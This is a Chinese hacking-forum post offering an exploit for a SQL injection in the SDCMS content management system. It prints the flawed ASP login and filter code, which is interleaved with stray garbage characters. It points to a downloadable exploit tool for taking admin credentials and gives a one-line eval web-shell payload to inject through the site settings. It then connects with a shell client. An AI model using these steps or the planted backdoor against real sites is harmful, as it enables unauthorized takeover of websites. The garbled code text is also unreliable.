找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3182|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
作者:T00LS 鬼哥: c+ z5 g' J0 J2 m9 Z& N/ j
漏洞文件:后台目录/index.asp
3 U. s7 |- V0 _1 l- C
2 w0 ^% O! o" P' L# n, u6 CSub Check
4 G  e6 U1 A: D3 p    Dim username,password,code,getcode,Rs6 u7 Q* g4 ?0 ~" A5 G+ M
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub' M$ n, D; j$ X
    username=FilterText(Trim(Request.Form("username")),1)" s( r! o& A1 {4 N. Z$ F4 ^# M
    password=FilterText(Trim(Request.Form("password")),1)( _4 c2 o: S( p8 ~
    code=Trim(Request.Form("yzm"))
. u0 x/ a% }3 A! x- w    getcode=Session("SDCMSCode")
3 @! M7 F  E: T; v    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
) h" U$ q& h$ ]7 x1 |( v    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied% N9 F" w! m- U- g7 j/ `4 g7 i
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
/ O2 O/ M! P7 b- F0 v: ]    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
0 R- h4 v0 M/ j) a2 C, E) i    IF username="" or password="" Then; B  x; P! @! T# `$ D
        Echo "用户名或密码不能为空"ied
9 M) T) D7 \- M8 t6 n' r    Else/ @1 ~1 }+ Y$ B* U' v) I' M, i, E: Z
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
  ?7 g+ D# d" d5 E! V' K4 v- c% Y        IF Rs.Eof Then, ~4 |- I! N6 o: e) c/ h
            AddLog username,GetIp,"登录失败",1
9 P3 P; w2 ?& _            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"% N- F( m. r; ~* D3 s* i: k" D& S0 K$ |+ G
        Else
' {, N/ [5 z$ f: A- d            Add_Cookies "sdcms_id",Rs(0)* O4 S* N+ S& x( O+ T, y
            Add_Cookies "sdcms_name",username/ x- j1 F- P4 n# d" b- V
            Add_Cookies "sdcms_pwd",Rs(2)/ n; q: A& ?0 P6 D9 q3 @" z
            Add_Cookies "sdcms_admin",Rs(3)+ Q. V1 `3 O  e  u; r' K
            Add_Cookies "sdcms_alllever",Rs(4)
& A4 K8 A' [0 s9 ?: y            Add_Cookies "sdcms_infolever",Rs(5)& d) \$ D' y* _: Y, L/ N% N: m: P
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
: Q% }( r' Y! T2 n& w            AddLog username,GetIp,"登录成功",1, a- I6 O6 W% X% ]
            '自动删除30天前的Log记录
5 f( o: a  }1 h            IF Sdcms_DataType Then
# A. q7 V: o9 k1 h% d* Z" T5 {                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")+ x  ^4 T* u' y6 v( g+ ?& h) q& c
            Else. h$ e- D1 E* C8 [5 o
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
9 I& ?: T5 ?; ~# y* O            End IF
" C/ }! x* h% M            Go("sdcms_index.asp")7 ]' h0 g/ _6 Y) U# ?
        End IF
$ d8 g! h; U: F' a  y1 r        Rs.Close
/ A' X; P4 B& e4 U; r( Z+ {        Set Rs=Nothing
, p7 x  }. u8 i4 Y8 }. g    End IF% b. l( L! h- W% h, N
End Sub
" b9 G# L9 ]1 z' T% v( _, w# y3 g
8 J. p$ k! j2 A8 Z; u$ z’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
2 ~. a+ b! v: s) x+ I: G
/ J8 X5 c9 V4 GFunction FilterText(ByVal t0,ByVal t1)2 O7 Q/ G9 A# f, r) U8 w
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function# e" T$ `4 C% K- ]& L
    t0=Trim(t0)1 h2 ]) x& N+ q) ?% p" L  l0 n; N0 x
    Select Case t1! D( L* i- v5 L7 ~$ I9 q3 S
        Case "1". w* I9 H9 b+ @9 C
            t0=Replace(t0,Chr(32),"")4 k3 O" C) M2 e0 U
            t0=Replace(t0,Chr(13),"")
2 m3 c5 p0 U3 ~  _: k            t0=Replace(t0,Chr(10)&Chr(10),"")
( G6 H) U. a2 }+ o4 L; I# V3 k6 c6 D            t0=Replace(t0,Chr(10),"")* g4 L9 h- a5 h5 O# T! d
        Case "2"- o" j$ Z. \( v
            t0=Replace(t0,Chr(8),"")'回格  n) z/ }$ A7 P7 K4 R% V) K8 ]$ V
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
" |+ U. R2 U. o, E            t0=Replace(t0,Chr(10),"")'换行
8 F: ?/ o+ h' ~            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)- m3 [4 p( G; n! ?" A) O
            t0=Replace(t0,Chr(12),"")'换页1 ^- r3 \6 b" O+ I, ^2 c
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合1 v) U/ {6 b- }  S- b5 z
            t0=Replace(t0,Chr(22),"")
8 V' n. g& r6 c$ E+ ~( E( v7 U& L            t0=Replace(t0,Chr(32),"")'空格 SPACE* k* W) M3 j- f  x4 E& [- Z' v
            t0=Replace(t0,Chr(33),"")'!: u. S. k$ u8 p2 D! ^
            t0=Replace(t0,Chr(34),"")'"
/ Z# x  R+ G7 J% E- L            t0=Replace(t0,Chr(35),"")'#
0 ~9 w& h" z. P" I& l! x" H            t0=Replace(t0,Chr(36),"")'$
6 y$ g; _8 i8 B# J3 U3 x            t0=Replace(t0,Chr(37),"")'%) c, s" n6 O+ a3 h% G4 _. I+ F
            t0=Replace(t0,Chr(38),"")'&
5 Z0 }1 k& U3 ~7 Z  @8 Q            t0=Replace(t0,Chr(39),"")''
1 N8 }3 ^( S' L, _7 W            t0=Replace(t0,Chr(40),"")'(
+ h- Q0 g4 j1 e3 [& x% P            t0=Replace(t0,Chr(41),"")')
2 C* A8 t% a: L1 |# w            t0=Replace(t0,Chr(42),"")'*: R; \) L. k% [/ ]" z
            t0=Replace(t0,Chr(43),"")'+
; t6 T' E. t1 r- p            t0=Replace(t0,Chr(44),"")',6 r" ]+ z" I6 a0 e# C3 M! I  u
            t0=Replace(t0,Chr(45),"")'-
( O* |, C3 y6 v2 G            t0=Replace(t0,Chr(46),"")'.7 ^' |: l/ n  j5 z5 d' s- i
            t0=Replace(t0,Chr(47),"")'/, E- u  O5 O5 Q0 l. y. {
            t0=Replace(t0,Chr(58),"")':1 i: q, j% L' z9 ~6 L  c: y
            t0=Replace(t0,Chr(59),"")';
( C( k5 V( D% I            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>, c* Z7 m, [; D1 Y6 u
            t0=Replace(t0,Chr(63),"")'?  L# j! w4 r/ W9 X
            t0=Replace(t0,Chr(64),"")'@
* b+ Y7 Z7 s, |( ?  G% m            t0=Replace(t0,Chr(91),"")'\
& M5 j7 d* V- K            t0=Replace(t0,Chr(92),"")'\3 l4 o1 K5 g9 E- w* R; X
            t0=Replace(t0,Chr(93),"")']; d2 |$ R8 z9 V  j* L4 W
            t0=Replace(t0,Chr(94),"")'^# J5 J* f& n  [
            t0=Replace(t0,Chr(95),"")'_
0 a2 z" X% z4 E% R; j/ h) S            t0=Replace(t0,Chr(96),"")'`
* d, G  f) _8 W; Y            t0=Replace(t0,Chr(123),"")'{9 J  J! ^: h) y* a% V2 v# u& Q
            t0=Replace(t0,Chr(124),"")'|: N- I% \/ Y2 x3 {5 E& E+ A: }: o+ j, H
            t0=Replace(t0,Chr(125),"")'}# ?1 s) t5 a: M7 z" J8 Y2 z- g
            t0=Replace(t0,Chr(126),"")'~6 Y/ o, ~3 l7 q7 E
    Case Else+ A# E- K6 z- o( Z1 f
        t0=Replace(t0, "&", "&")
2 L- a. R+ G3 A7 u        t0=Replace(t0, "'", "'")
) f$ n8 P) D/ r3 R        t0=Replace(t0, """", """)
: a, N9 v1 I$ }4 Q        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")% k( _1 L& z/ Z3 n; m
    End Select
5 X# A: T) w1 L( ?; E    IF Instr(Lcase(t0),"expression")>0 Then
2 ]2 r& q3 Z9 C& P# x        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)+ W4 W; r% M6 W6 m4 M7 \
    End If
" v4 {% Y( X2 E4 s' }% N    FilterText=t0
6 G5 a+ h% t( j5 |6 l" Z& JEnd Function) }: J: A* b) I) m- m1 v
7 m* G) u1 v0 k& V
看到没。直接参数是1 只过滤: P8 z! K0 {6 G; t0 h5 _
                        t0=Replace(t0,Chr(32)," ")2 Y- j: L& J# w2 L" O
                        t0=Replace(t0,Chr(13),"")% v9 Q" i+ i& s& ^0 N7 p
                        t0=Replace(t0,Chr(10)&Chr(10),"
) R' N8 o# V# K4 V( [: D; V")
8 i3 B1 w5 x1 {% b* M7 }                        t0=Replace(t0,Chr(10),"" M: a9 Y  W) w. L2 A$ c) r
")7 U$ W! b" H; J5 n. {7 t" {
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!2 P$ a  ?: X$ [5 V+ e0 B2 r
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP' h+ V' [* D  b2 u) P9 M
' o: l( @6 F- G1 |' o5 i- L* h
测试:# F8 v, [- P9 f7 @% W( a7 B

( e; a# h- t" b) }, b' ?
5 z( B9 U! i' h5 Y现在输入工具上验证码,然后点OK
5 M! ^$ q( b5 i) D! A
9 j1 ], W/ o! R  u5 A* u" @% a$ \& J" o+ k
看到我们直接进入后台管理界面了,呵呵!
6 I$ R1 C! ]2 X# N) q8 Q5 x
6 A1 U4 K$ b$ a  k6 T+ H  N8 g/ a$ E* P9 @' A8 a5 ]) V
9 `+ ?* r3 E5 Y. Y6 L* f8 e9 O
这样直接进入后台了。。。。
7 ~' W2 J4 u$ \0 I( J: O* o- Z7 }. a: n: p
6 A4 n9 s% J% l5 X* e
# S; ?0 [0 q) |& ]
SDCMS提权:- S  e7 K% U( H% A( f8 a, S
1 ?3 ^# T  v2 F- Y# r9 H
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?7 ]. u- G9 Y0 j2 X; m5 H7 _, S

" L! L( `. a2 x, I
2 T1 {0 z4 j( N; [* L. O, P( \
/ o6 ^5 a- k0 R# l, ?OK,现在用菜刀连接下!
% F) a2 ]- ^  o9 C& h. P# G1 O3 b* T* m* K1 @7 ~" Y# K( M4 a5 c% [
6 F9 Z0 p. h3 ~: s' h  n

0 p  O6 L; l" U  `7 T& p. |" B- D  e - \/ E% }; e1 p$ W+ e

1 ?( A8 Y! Q/ T# d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表